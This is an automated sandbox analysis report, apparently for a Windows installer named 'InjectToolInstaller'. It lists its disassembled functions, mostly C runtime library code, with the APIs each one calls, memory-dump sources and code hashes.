Function 013AA5CD Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(000000FF,000000FF,013AABD2,?,?,00000000), ref: 013AA5D7

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 4de024c44b9d29dffda73d7020444ee789ff303d05e4fe0f33d178ac04fd0e78
Instruction ID: 876e226990fbb2b94a295870e0e1af794e4cb867088dce9f3396ad774260ae43
Opcode Fuzzy Hash: 4de024c44b9d29dffda73d7020444ee789ff303d05e4fe0f33d178ac04fd0e78
Instruction Fuzzy Hash: E8D01233014123CBDA751E2CB8041D17799AB02379321076EE4F1831E5D37148C3DB48

Uniqueness

Uniqueness Score: -1.00%

Function 013BE644 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 013BE64B

Part of subcall function 013BE47D: __EH_prolog3.LIBCMT ref: 013BE487

Part of subcall function 013BE689: PostMessageA.USER32 ref: 013BE6A6

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3H_prolog3_catchMessagePost
String ID:
API String ID: 2353938149-0
Opcode ID: 23e0045382794cb0bd86226213adad5baa328309122b33857582e920602bcf40
Instruction ID: d1e0ccdc9c1d4eee1ecc9da46c2f96dbbc5cc7771b84ff4fda4a1e23125dfe67
Opcode Fuzzy Hash: 23e0045382794cb0bd86226213adad5baa328309122b33857582e920602bcf40
Instruction Fuzzy Hash: 0CD05EB1D01216CBDF00BBDC84403DC7660AF2170CF65409AD2043B681EA758A058BD6

Uniqueness

Uniqueness Score: -1.00%

Function 013AB44A Relevance: 1.5, APIs: 1, Instructions: 12timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,00000000,00000000,?), ref: 013AB456

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 2cdc63e36c614afd5220fd0dbed9345fd767fc14ffc602b6219fa06c5b14798b
Instruction ID: 2894bdf03798bdb324e5cd5a2bb6440d5d5480a8d5d2737fe5152f1d9cf97a3e
Opcode Fuzzy Hash: 2cdc63e36c614afd5220fd0dbed9345fd767fc14ffc602b6219fa06c5b14798b
Instruction Fuzzy Hash: A6C08C322C420EBBDA200AB0DC02F103A5C9711B00F208220B601C80E0C562A0249658

Uniqueness

Uniqueness Score: -1.00%

Function 013B3540 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 013B3547

Part of subcall function 013B3307: __EH_prolog3.LIBCMT ref: 013B330E

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3H_prolog3_catch
String ID:
API String ID: 1882928916-0
Opcode ID: 540ef10ba08140e36c46c47abda98c357d5bdba400c00d91cb348633b623fb2e
Instruction ID: 8fec75e663eccd123df0e85c11bef95736c67ecef54a4ca720e48040ae2fafd7
Opcode Fuzzy Hash: 540ef10ba08140e36c46c47abda98c357d5bdba400c00d91cb348633b623fb2e
Instruction Fuzzy Hash: 51C02B3894120382EB00BBD88C463DC6424FF1170DFD0500DE30439AC0DE7C860C8762

Uniqueness

Uniqueness Score: -1.00%

Function 013BD4B7 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 013BD4BC

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 271373e963e2a3c0d0171a36eefc277fa377dffcf986327185a61ca81dc4fb0c
Instruction ID: e2b4990fea3529a48fc635c66493fa76af4f519211b0d612e196b5894848051a
Opcode Fuzzy Hash: 271373e963e2a3c0d0171a36eefc277fa377dffcf986327185a61ca81dc4fb0c
Instruction Fuzzy Hash: E7A0223E000200BBCA200F00EC0AB803F28BB00B02FE080C8EE08083B083238003EF08

Uniqueness

Uniqueness Score: -1.00%

Function 013B45D1 Relevance: 1.3, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?), ref: 013B4600

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: ddbea1a234bd5919cff9faea11b340d1498443d7d363b478183445909c479c06
Instruction ID: e4aee4d8f7421112206e04e08a3e515e66d4df760545cf7424ebb6ce228f3cca
Opcode Fuzzy Hash: ddbea1a234bd5919cff9faea11b340d1498443d7d363b478183445909c479c06
Instruction Fuzzy Hash: 6101A23260051BEBDB15CE48D840AEAB779FF55269B00412AAE069BE11E731ED11CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 013AB119 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 013AB123

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: bddea2302a99594eb489c77af22490c13506e51a048d08309570c4cf54a07e7e
Instruction ID: 46d1e7dbb2ec3ef2aaabf57ca91b6836523e9ce7baeb862f6e6eca7a4b7ed8bf
Opcode Fuzzy Hash: bddea2302a99594eb489c77af22490c13506e51a048d08309570c4cf54a07e7e
Instruction Fuzzy Hash: 03D012352101238ADAB41F2CB8045C1B7D8DB02338761075DE4F0810E9E37198D3AB60

Uniqueness

Uniqueness Score: -1.00%

Function 013A1360 Relevance: 1.3, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004), ref: 013A1379

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3b540c9d87ce9231e6db27e49ba67bd6926a6bf89646977969e51de8df5f9f94
Instruction ID: e0f07b42d3b8a7469f691dcbad8b4c1cd26c6a2651b604649382c5d1d28fa10a
Opcode Fuzzy Hash: 3b540c9d87ce9231e6db27e49ba67bd6926a6bf89646977969e51de8df5f9f94
Instruction Fuzzy Hash: 8ED0803214430CFBD7514D50DC05F95365CF714B95F408010F71D5C8D5C2F050A08668

Uniqueness

Uniqueness Score: -1.00%

Function 013A1383 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 013A1396

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f5ad00fc5ba41ad6687e6a30e6d609f82a1402ee6a235283a6da68b4347967d8
Instruction ID: b4912eca21bda7a4688d6df83cda60c5b45e704690dfa5fb2a10f834254cff53
Opcode Fuzzy Hash: f5ad00fc5ba41ad6687e6a30e6d609f82a1402ee6a235283a6da68b4347967d8
Instruction Fuzzy Hash: F3C04C35140708A7E7215E44DD49BA57E6CA710745F508025BB08184E187B165A4DA98

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 013C857E Relevance: 149.9, APIs: 71, Strings: 14, Instructions: 1141COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getTypeEncoding.LIBVCRUNTIME ref: 013C858E
operator+.LIBCMT ref: 013C85D6
DName::DName.LIBVCRUNTIME ref: 013C86B6
DName::operator+.LIBCMT ref: 013C86BD
DName::operator+.LIBCMT ref: 013C872C
DName::operator+.LIBCMT ref: 013C8733
DName::operator+=.LIBVCRUNTIME ref: 013C873C

Strings

public: , xrefs: 013C918D
protected: , xrefs: 013C913F
extern "C" , xrefs: 013C9225
}' , xrefs: 013C8778, 013C8B55
`template static data member constructor helper', xrefs: 013C8DC5
static , xrefs: 013C8F65
`vtordispex{, xrefs: 013C8A78
`template static data member destructor helper', xrefs: 013C8E13
`vtordisp{, xrefs: 013C8B04
`adjustor{, xrefs: 013C8B3C
virtual , xrefs: 013C9060
`local static destructor helper', xrefs: 013C8D74
[thunk]:, xrefs: 013C91F5
private: , xrefs: 013C90E5

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator+$Decorator::getEncodingNameName::Name::operator+=Typeoperator+
String ID: [thunk]:$`adjustor{$`local static destructor helper'$`template static data member constructor helper'$`template static data member destructor helper'$`vtordispex{$`vtordisp{$extern "C" $private: $protected: $public: $static $virtual $}'
API String ID: 639795941-3028518216
Opcode ID: cad573af609eefc82fefba12c95a5b75f38c3a154a6dc4912aa75649f8d84faf
Instruction ID: 3dce0f3233cfb027d1cc15b7bc0736af92b28716d0e65cf03edb3fe47370b74e
Opcode Fuzzy Hash: cad573af609eefc82fefba12c95a5b75f38c3a154a6dc4912aa75649f8d84faf
Instruction Fuzzy Hash: 52829472E1050A9BEF15DEACC885BEDB7B9EF18B48F14817EE511E7280DA34DE058B50

Uniqueness

Uniqueness Score: -1.00%

Function 013F5B3F Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 013F5C85

Strings

1#QNAN, xrefs: 013F6E8B
1#SNAN, xrefs: 013F6E84
1#IND, xrefs: 013F6E7D
1#INF, xrefs: 013F6E92

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: b8169df9f1f32ae8b8b8bf46c9bc9473cc81709ec23839c0784a6beb1b2d52ba
Instruction ID: 5ed5e9a3bbb551cb76ffd1035e54e3f3ad38f3fb9afe44e9fddc49198817cc9c
Opcode Fuzzy Hash: b8169df9f1f32ae8b8b8bf46c9bc9473cc81709ec23839c0784a6beb1b2d52ba
Instruction Fuzzy Hash: 23C25CB2E086298FDB25CE28DD417E9B7B9EB44308F1441EED64DE7241E774AE858F40

Uniqueness

Uniqueness Score: -1.00%

Function 013ECF5E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,013ED27D,?,00000000), ref: 013ECFF7
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,013ED27D,?,00000000), ref: 013ED020
GetACP.KERNEL32(?,?,013ED27D,?,00000000), ref: 013ED035

Strings

OCP, xrefs: 013ECFB2
ACP, xrefs: 013ECF7C

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: b1bf7ec21dbe1180edcb693732c5ea0a02ee44f37f8258065c4fb4a396f77cbd
Instruction ID: ae03dca8792dd583639e1bf213c3c603ce306fd8d8db5d44f6a8ad4975bdbd01
Opcode Fuzzy Hash: b1bf7ec21dbe1180edcb693732c5ea0a02ee44f37f8258065c4fb4a396f77cbd
Instruction Fuzzy Hash: 2D21D832700325ABE7358F58D908BAB7BEAEB44AACB5A4465E909C7181E732DD42C350

Uniqueness

Uniqueness Score: -1.00%

Function 013ED132 Relevance: 7.7, APIs: 5, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 013E59CB: GetLastError.KERNEL32(?,?,013CDA6D,0140DBA8,00000010), ref: 013E59CF
Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A02
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A43
Part of subcall function 013E59CB: _abort.LIBCMT ref: 013E5A49

Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A2A
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A37

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 013ED23E
IsValidCodePage.KERNEL32(00000000), ref: 013ED299
IsValidLocale.KERNEL32(?,00000001), ref: 013ED2A8
GetLocaleInfoW.KERNEL32(?,00001001,013D06C2,00000040,?,013D07E2,00000055,00000000,?,?,00000055,00000000), ref: 013ED2F0
GetLocaleInfoW.KERNEL32(?,00001002,013D0742,00000040), ref: 013ED30F

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: 18c1cf980d67c0c4f951b432c71b328f7bc2babcd6213074534339bb45d14848
Instruction ID: 2eae398cdb00fafdb89b394a0cac17b171c2ade90914a1791e30dc2837cda3d9
Opcode Fuzzy Hash: 18c1cf980d67c0c4f951b432c71b328f7bc2babcd6213074534339bb45d14848
Instruction Fuzzy Hash: AF515E72A0032A9BEF20DFE9DC49AAE7BF8BF55718F044069EA14E71C4D770D9448B61

Uniqueness

Uniqueness Score: -1.00%

Function 013AAEC5 Relevance: 7.6, APIs: 5, Instructions: 140COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013AAECC
GetLogicalDriveStringsA.KERNEL32 ref: 013AAEF2
GetLogicalDriveStringsA.KERNEL32 ref: 013AAF19
GetLogicalDriveStringsW.KERNEL32(00000000,00000000,0000002C), ref: 013AAFA9
GetLogicalDriveStringsW.KERNEL32(00000000,?), ref: 013AAFD1

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: DriveLogicalStrings$H_prolog3
String ID:
API String ID: 1830082275-0
Opcode ID: 142f0d75b1d88a0c63c6ddc3d9c988fd7ebb422776d5b956275689e6f440e5d3
Instruction ID: fcb1cb7e47f2d9e0028b61bd4b612b9075c35f7601abe87db84f54252b60be9b
Opcode Fuzzy Hash: 142f0d75b1d88a0c63c6ddc3d9c988fd7ebb422776d5b956275689e6f440e5d3
Instruction Fuzzy Hash: 0151A5B1D0020A9FCB15EFACD8849EEFBB9EF55308F54401DE515A3244EB748A45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013E7AF7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 159fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 013E7BC7
FindClose.KERNEL32(00000000), ref: 013E7BEE
FindNextFileW.KERNEL32(00000000,?), ref: 013E7C65

Strings

/, xrefs: 013E7B23

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: /
API String ID: 3541575487-2043925204
Opcode ID: 8de1e6de147cec43e220aa161894ee86036c0db126ceb565dec006745a6aac48
Instruction ID: b99fad5dd3384cd9f3789ee21ba1a27e1e29e9787a3a1eb2db39d1f406c45d8e
Opcode Fuzzy Hash: 8de1e6de147cec43e220aa161894ee86036c0db126ceb565dec006745a6aac48
Instruction Fuzzy Hash: DB41DB3260032A9ADF30DA6DDC4DDBB77FCEB85758F544199E605D71C0E6708981CB94

Uniqueness

Uniqueness Score: -1.00%

Function 013ECBE5 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 013E59CB: GetLastError.KERNEL32(?,?,013CDA6D,0140DBA8,00000010), ref: 013E59CF
Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A02
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A43
Part of subcall function 013E59CB: _abort.LIBCMT ref: 013E5A49

Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A2A
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A37

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 013ECC39
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 013ECC8A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 013ECD4A

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorInfoLastLocale$_free$_abort
String ID:
API String ID: 2829624132-0
Opcode ID: 528b5d312d6e9e0d4e82b2285c23edb0b9a3f0fce86eb66f14644160bdd1ec39
Instruction ID: e996fd6501f0f2c2595372e5eeb85657cbc296f2d84ba376da4e3686108135bd
Opcode Fuzzy Hash: 528b5d312d6e9e0d4e82b2285c23edb0b9a3f0fce86eb66f14644160bdd1ec39
Instruction Fuzzy Hash: DA6193715003279BEB299F28CC89BBEBBE8EF04358F1041A9ED06C65C5E776D961CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013E4F8A Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 013E5082
SetUnhandledExceptionFilter.KERNEL32 ref: 013E508C
UnhandledExceptionFilter.KERNEL32(?), ref: 013E5099

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 142212ea3b451fac6d90f0093660233f754fe1d20f39778973c8ee4c239956f5
Instruction ID: 0f0855c7d03232f8f06657c4bd69ecd68b89eb72faf053cb25059f9984de920d
Opcode Fuzzy Hash: 142212ea3b451fac6d90f0093660233f754fe1d20f39778973c8ee4c239956f5
Instruction Fuzzy Hash: C731D67994122DABCB21DF28D98879DBBB8BF18714F5041DAE80CA7290E7309F818F45

Uniqueness

Uniqueness Score: -1.00%

Function 013E783F Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

., xrefs: 013E7A70

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: e7e1f0802beda2b1f96722e0ac7d6b66beecef536704d18b71e51aaf6e4303f0
Instruction ID: 54c19af3626995019f4268ff87986e60431524e8aa55325caa042eb494165c1c
Opcode Fuzzy Hash: e7e1f0802beda2b1f96722e0ac7d6b66beecef536704d18b71e51aaf6e4303f0
Instruction Fuzzy Hash: 5641F576900319AFDB249E7CCC88EFB7BEDDF85318F140668F919D7281E6309A418790

Uniqueness

Uniqueness Score: -1.00%

Function 013E65D4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,?,?,00000000), ref: 013E6627

Strings

GetLocaleInfoEx, xrefs: 013E65E5, 013E65EF

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
